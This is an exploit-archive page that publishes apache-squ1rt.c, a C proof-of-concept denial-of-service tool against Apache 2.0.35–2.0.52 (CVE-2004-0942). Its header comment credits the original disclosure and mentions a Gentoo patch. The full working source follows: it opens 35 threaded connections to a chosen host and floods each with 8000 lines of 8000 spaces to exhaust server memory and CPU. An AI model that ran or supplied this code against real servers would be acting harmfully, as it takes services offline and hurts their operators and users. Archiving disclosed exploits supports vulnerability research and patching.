what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

apache-squ1rt.c

apache-squ1rt.c
Posted Nov 18, 2004
Authored by Daniel Guido

Apache v2.0.52 remote denial of service exploit (version two) which sends a lot of spaces, consuming CPU and RAM. More information available here. Versions between 2.0.35 and 2.0.52 may be vulnerable, but only v2.0.50 through 2.0.52 was tested.

tags | exploit, remote, denial of service
advisories | CVE-2004-0942
SHA-256 | 6ef0cd246b77f086571410803e9f7d0266154b693ceb51628715ee955cf53ea7

apache-squ1rt.c

Change Mirror Download
/*
Apache Squ1rt, Denial of Service Proof of Concept
Tested on Apache 2.0.52

j0hnylightning@gmail.com
dguido@gmail.com

Sends a request that starts with:
GET / HTTP/1.0\n
8000 spaces \n
8000 spaces \n
8000 spaces \n
...
8000 times

Apache never kills it. Takes up huge amounts of
RAM which increase with each connection.

Original credit goes to Chintan Trivedi on the
FullDisclosure mailing list:
http://seclists.org/lists/fulldisclosure/2004/Nov/0022.html

More info:
http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0942

Versions between 2.0.35 and 2.0.52 may be vulnerable,
but only down to 2.0.50 was tested.

This attack may be preventable with a properly configured
iptables ruleset. Gentoo already has a patch out in the
2.0.52-r1 release in the file 06_all_gentoo_protocol.patch

v2
Rewritten to use pthread.
gcc apache-squ1rt.c -lpthread
*/

#include <stdio.h>
#include <errno.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <netdb.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <pthread.h>
#define DEST_PORT 80

void *squirtIt(char *hName);

char attackBuf[8000];
char letsGetStarted[128];

int main(int argc, char **argv){
int num_connect;
int ret;
pthread_t tid[35];

sprintf(letsGetStarted, "GET / HTTP/1.0\n");
memset(attackBuf, ' ', 8000);
attackBuf[7998]='\n';
attackBuf[7999]='\0';

if (argc != 2){
fprintf(stderr, "Usage: %s <host name> \n", argv[0]);
exit(1);
}

for(num_connect = 0; num_connect < 35; num_connect++){
ret = pthread_create(&tid[num_connect], NULL, (void *)squirtIt, argv[1]);
}

/* assuming any of these threads actually terminate, this waits for all of them */
for(num_connect = 0; num_connect < 35; num_connect++){
pthread_join(tid[num_connect], NULL);
}

return 0;
}

void *squirtIt(char *hName){
int sock, i;
struct hostent *target;
struct sockaddr_in addy;

if((target = gethostbyname(hName)) == NULL){
herror("gethostbyname()");
exit(1);
}

if((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0){
perror("socket()");
exit(1);
}

addy.sin_family = AF_INET;
addy.sin_port = htons(DEST_PORT);
bcopy(target->h_addr, (char *)&addy.sin_addr, target->h_length );
memset(&(addy.sin_zero), '\0', 8);

if((connect(sock, (struct sockaddr*)&addy, sizeof(addy))) < 0){
perror("connect()");
exit(1);
}

send(sock, letsGetStarted, strlen(letsGetStarted), 0);

for(i=0; i < 8000; i++){
send(sock, attackBuf, strlen(attackBuf), 0);
}

close(sock);
}

Login or Register to add favorites

File Archive:

July 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    27 Files
  • 2
    Jul 2nd
    10 Files
  • 3
    Jul 3rd
    35 Files
  • 4
    Jul 4th
    27 Files
  • 5
    Jul 5th
    18 Files
  • 6
    Jul 6th
    0 Files
  • 7
    Jul 7th
    0 Files
  • 8
    Jul 8th
    28 Files
  • 9
    Jul 9th
    44 Files
  • 10
    Jul 10th
    24 Files
  • 11
    Jul 11th
    25 Files
  • 12
    Jul 12th
    11 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    0 Files
  • 16
    Jul 16th
    0 Files
  • 17
    Jul 17th
    0 Files
  • 18
    Jul 18th
    0 Files
  • 19
    Jul 19th
    0 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    0 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close